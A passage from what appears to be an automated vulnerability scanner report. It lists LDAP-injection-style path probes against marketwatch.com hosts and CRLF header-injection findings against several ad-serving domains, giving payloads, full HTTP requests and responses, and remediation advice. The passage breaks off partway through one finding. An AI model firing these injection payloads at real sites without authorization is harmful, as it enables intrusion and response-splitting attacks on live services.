the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

2.6. http://i4.marketwatch.com/MW5/content/story/css/story-layout.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://i4.marketwatch.com
Path:	/MW5/content/story/css/story-layout.css

Issue detail

Request 1

GET /MW5/*)(sn=*/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-MACHINE: SBKSIMGWEBP01
Content-Length: 103
Date: Sat, 14 May 2011 10:25:07 GMT
Connection: close
Vary: Accept-Encoding

The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

Request 2

GET /MW5/*)!(sn=*/story/css/story-layout.css?v3 HTTP/1.1
Host: i4.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; rsi_csl=; rsi_segs=; BIZO=biz=1053&; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response 2

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE3
X-Powered-By: ASP.NET
Date: Sat, 14 May 2011 10:25:07 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=Windows-1252">
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: red }
A:visited { color: maroon }
</STYLE>
</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>

<h1>The page cannot be found</h1>
The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.
<hr>
<p>Please try the following:</p>
<ul>
<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>
<li>If you reached this page by clicking a link, contact
the Web site administrator to alert them that the link is incorrectly formatted.
</li>
<li>Click the <a href="javascript:history.back(1)">Back</a> button to try another link.</li>
</ul>
<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>
<hr>
<p>Technical Information (for support personnel)</p>
<ul>
<li>Go to <a href="http://go.microsoft.com/fwlink/?linkid=8180">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>
<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),
and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messages</b>.</li>
</ul>

</TD></TR></TABLE></BODY></HTML>

2.7. http://s.marketwatch.com/public/resources/documents/PixelTracking.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://s.marketwatch.com
Path:	/public/resources/documents/PixelTracking.html

Issue detail

Request 1

GET /public/*)(sn=*/documents/PixelTracking.html?site=marketwatch.com&zone=frontpage&cb=604870 HTTP/1.1
Host: s.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 404 Not Found
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep08 - Sat 05/14/11 - 00:44:45 EDT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Date: Sat, 14 May 2011 10:16:03 GMT
Connection: close
Content-Length: 79968

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://sj.wsj.net/djscript/require/j_top/version/20110513185311.js"></script>
<script type="text/javascript" src="/public/page/0_0_W0_1011.html"></script>
<script type="text/javascript">
/* <![CDATA[ */
var jsexec = dj.util.JSExec(dj.context.jsexec);
djPerf.firstMark=((new Date()).getTime());if (typeof gomez == "undefined") { this.gomez = {}; }
/* ]]> */
</script>
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://sc.wsj.net/djstyle/2/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" /><link rel="stylesheet" href="http://sc.wsj.net/djstyle/3/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" /><link rel="stylesheet" href="http://sc.wsj.net/djstyle/4/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" />


</head>
<body >
<a name="top"></a><div c
...[SNIP]...

Request 2

GET /public/*)!(sn=*/documents/PixelTracking.html?site=marketwatch.com&zone=frontpage&cb=604870 HTTP/1.1
Host: s.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; s_cc=true; s_vnum=1307959980006%26vn%3D1; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 404 Not Found
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep07 - Fri 05/13/11 - 00:47:29 EDT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Date: Sat, 14 May 2011 10:16:03 GMT
Connection: close
Content-Length: 89095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
</script>
<script type="text/javascript" src="http://sj.wsj.net/djscript/require/j_top/version/20110512230933.js"></script>
<script type="text/javascript" src="/public/page/0_0_W0_1011.html"></script>
<script type="text/javascript">
/* <![CDATA[ */
var jsexec = dj.util.JSExec(dj.context.jsexec);
djPerf.firstMark=((new Date()).getTime());if (typeof gomez == "undefined") { this.gomez = {}; }
/* ]]> */
</script>
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="stylesheet" href="http://sc.wsj.net/djstyle/2/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" /><link rel="stylesheet" href="http://sc.wsj.net/djstyle/3/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" /><link rel="stylesheet" href="http://sc.wsj.net/djstyle/4/std/NA_WSJ/0_0_WP_5000-20110430220943.css" type="text/css" />


</head>
<body >
<a name="top"></a><div
...[SNIP]...

3. HTTP header injection previous next
There are 8 instances of this issue:

http://ad.doubleclick.net/activity [REST URL parameter 1]
http://ad.doubleclick.net/activity [src parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter]
http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 1]
http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 2]
http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 3]

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

3.1. http://ad.doubleclick.net/activity [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload d8084%0d%0a6b4a93a16b2 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /d8084%0d%0a6b4a93a16b2;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682?&_dc_ck=try HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/d8084
6b4a93a16b2;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682:
Date: Sat, 14 May 2011 10:09:42 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.2. http://ad.doubleclick.net/activity [src parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/activity

Issue detail

The value of the src request parameter is copied into the Location response header. The payload 90707%0d%0a1e0827f149 was submitted in the src parameter. This caused a response containing an injected HTTP header.

Request

GET /activity;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682?90707%0d%0a1e0827f149 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Content-Length: 0
Location: http://ad.doubleclick.net/activity;src=1948992;type=wsjre849;cat=publi675;ord=347863952629.2682?90707
1e0827f149&_dc_ck=try:
Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 14 May 2011 10:24:37 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:37 GMT
Server: GFE/2.0
Content-Type: text/html

3.3. http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the flv request parameter is copied into the Set-Cookie response header. The payload abf61%0d%0a3eb55aa738 was submitted in the flv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4891372~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~898~0~01020^ebAboveTheFoldDuration~898~0~01020&OptOut=0&ebRandom=0.4370704125612974&flv=abf61%0d%0a3eb55aa738&wmpv=0&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com//static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
Origin: http://online.barrons.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=c71f4c38-04bb-446e-a6ab-b7ecdb44dadd3I4070; expires=Fri, 12-Aug-2011 06:59:47 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=abf61
3eb55aa738&RES=128&WMPV=0; expires=Fri, 12-Aug-2011 06: 59:47 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:59:46 GMT
Connection: close
Content-Length: 0

3.4. http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the res request parameter is copied into the Set-Cookie response header. The payload 7aee8%0d%0a2a120855db7 was submitted in the res parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4891372~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~898~0~01020^ebAboveTheFoldDuration~898~0~01020&OptOut=0&ebRandom=0.4370704125612974&flv=10.3181&wmpv=0&res=7aee8%0d%0a2a120855db7 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com//static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
Origin: http://online.barrons.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=5659a0b2-55df-46f4-905c-1fd6fa8ca69b3I4060; expires=Fri, 12-Aug-2011 06:59:48 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=10.3181&RES=7aee8
2a120855db7&WMPV=0; expires=Fri, 12-Aug-2011 06: 59:48 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:59:48 GMT
Connection: close
Content-Length: 0

3.5. http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 81dd8%0d%0a96cba21421f was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4891372~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~898~0~01020^ebAboveTheFoldDuration~898~0~01020&OptOut=0&ebRandom=0.4370704125612974&flv=10.3181&wmpv=81dd8%0d%0a96cba21421f&res=128 HTTP/1.1
Host: bs.serving-sys.com
Proxy-Connection: keep-alive
Referer: http://online.barrons.com//static_html_files/addineyeV2.html?strBanner=gEbServerData%3D%271%3A%3A2284375%3A%3A4891372%3A%3ASite-32928/Type-11/4891372_9c2005ba-abc0-47ac-a2a5-aa7bd1fb066d.js%3A%3AExpBanner%3A%3A0%3A%3A%3A%3A%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A1%3A%3A139650%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3A%3ASite-30079/Type-20/5198415/d664f754-eb5c-4f36-91a8-9e92f15fb72f/%3A%3A%27%3BgEbBannerData%3D%278157523402478546%3A%3A1%3A%3A336%3A%3A280%3A%3A%3A%3A%3A%3A1%3A%3A0%3A%3A30%3A%3A%3A%3A%3A%3A%3A%3A0%3A%3A0%3A%3A%3A%3A%3A%3Afalse%27%3BgEbInteractions%3D%27%5B_eyeblaster%2Chttp%253A//ad.doubleclick.net/click%253Bh%253Dv8/3b07/3/0/*/n%253B239950972%253B0-0%253B0%253B46249204%253B4252-336/280%253B41839080/41856867/1%253B%253B%257Eokv%253D%253B%2521category%253D%253Bpage%253Drightrail%253Bmsrc%253DBOL_other_tnav_analysis%253Bbiz%253D1053%253B%253Bs%253D8_10001%253Bmc%253D0%253Btile%253D9%253Bsz%253D300x250%252C336x280%252C300x600%252C336x850%253B%253B%257Eaopt%253D2/1/ff/1%253B%257Esscs%253D%253F%2C%5D%27%3BebSrc%3D%27http%253A//ds.serving-sys.com/BurstingCachedScripts/ebExpBanner_2_2_11.js%27%3BebResourcePath%3D%27http%253A//ds.serving-sys.com/BurstingRes//%27%3B%3BebO%3Dnew%20Object%28%29%3BebO.sms%3D%27ds.serving-sys.com/BurstingScript/%27%3BebO.bs%3D%27bs.serving-sys.com%27%3BebO.fvp%3D%27Res/%27%3BebO.rpv%3D%27_2_5_1%27%3BebO.pv%3D%27_4_5_0%27%3BebO.pi%3D0%3BebO.wv%3D%27_3_0_1%27%3BebPtcl%3D%27http%3A//%27%3BebO.bt%3D5%3BebO.bv%3D11%3BebO.plt%3D9%3BgEbDbgLvl%3D0%3BgnEbLowBWLimit%3D120%3BgnEbMinZIndex%20%3D39%3BgEbURLTokens%20=%20'tp_PlacementID%3D2284375%24%24tp_AdID%3D4891372%24%24';
Origin: http://online.barrons.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=d2b610ab-8d3c-4daa-92a7-ae8bf8a9afd63I4010; expires=Fri, 12-Aug-2011 06:59:47 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=10.3181&RES=128&WMPV=81dd8
96cba21421f; expires=Fri, 12-Aug-2011 06: 59:47 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sat, 14 May 2011 10:59:47 GMT
Connection: close
Content-Length: 0

3.6. http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload a602b%0d%0a7429e651919 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /a602b%0d%0a7429e651919/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&host=altfarm.mediaplex.com HTTP/1.1
Host: mp.apmebf.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 14 May 2011 10:12:39 GMT
Server: Apache
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV"
Set-Cookie: S=g14vo-60407-1305367959401-0u; domain=.apmebf.com; path=/; expires=Mon, 13-May-2013 10:12:39 GMT
Location: http://altfarm.mediaplex.com/a602b
7429e651919/js/13754-86576-1281-0?mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f&no_cj_c=1&upsid=182017413646
Content-Length: 583
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://altfarm.mediaplex.com/a602b
7429e651919
...[SNIP]...

3.7. http://mp.apmebf.com/ad/js/13754-86576-1281-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://mp.apmebf.com
Path:	/ad/js/13754-86576-1281-0

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload ee78b%0d%0ae1dd2be16ff was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

